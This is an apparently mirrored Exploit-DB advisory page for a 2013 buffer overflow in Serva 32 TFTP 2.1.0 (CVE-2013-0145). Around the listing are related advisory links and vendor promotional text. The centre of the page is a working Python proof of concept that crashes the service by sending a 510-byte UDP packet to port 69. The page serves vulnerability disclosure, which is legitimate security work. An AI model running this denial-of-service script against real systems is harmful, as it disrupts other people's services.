Lucene search
+L

Serva 32 TFTP 2.1.0 - Buffer Overflow (Denial of Service) (PoC)

🗓️ 15 May 2013 00:00:00Reported by SaplingType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 56 Views

Serva 32 TFTP 2.1.0 has a buffer overflow vulnerability causing denial of service attacks.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-0145
20 May 201314:44
attackerkb
circl
Circl
CVE-2013-0145
15 May 201300:00
circl
cve
CVE
CVE-2013-0145
19 May 201310:00
cve
cvelist
Cvelist
CVE-2013-0145
19 May 201310:00
cvelist
nvd
NVD
CVE-2013-0145
20 May 201314:44
nvd
prion
Prion
Buffer overflow
20 May 201314:44
prion
prion
Prion
Design/Logic Flaw
29 Nov 202123:15
prion
redhatcve
RedhatCVE
CVE-2013-0145
22 May 202509:22
redhatcve
cert
CERT
Serva32 2.1.0 TFTPD service buffer overflow vulnerability
14 May 201300:00
cert
#Serva 32 TFTP Buffer overflow DoS
#
#05/14/2013
#Sapling
#Vendor homepage http://www.vercot.com/
#Software Link:
#http://www.vercot.com/~serva/download/Serva_Non-Supporter_32_v2.1.0.zip
#Version 2.1.0 Only prior versions are not vulnerable
#Tested on Windows 8, Windows 7, Windows XP SP1-3
#CVE to be established today or tomorrow.
#
#This is the serva 32 Proof Of Concept exploit discovered and written by Sapling. At this
#time the exploit is only a denial of service but evidence show it may be controllable.
#The difficulty with controlling it at this point was the failure to overwrite the SEH
#chains or bypass them. The crash occurs when sending a message longer than 509 bytes long

#start of python file
import sys
import socket

new = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
new.connect(('192.168.1.19', 69))
new.send('\x41'*510)
#end of python file

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2013 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
EPSS0.08868
56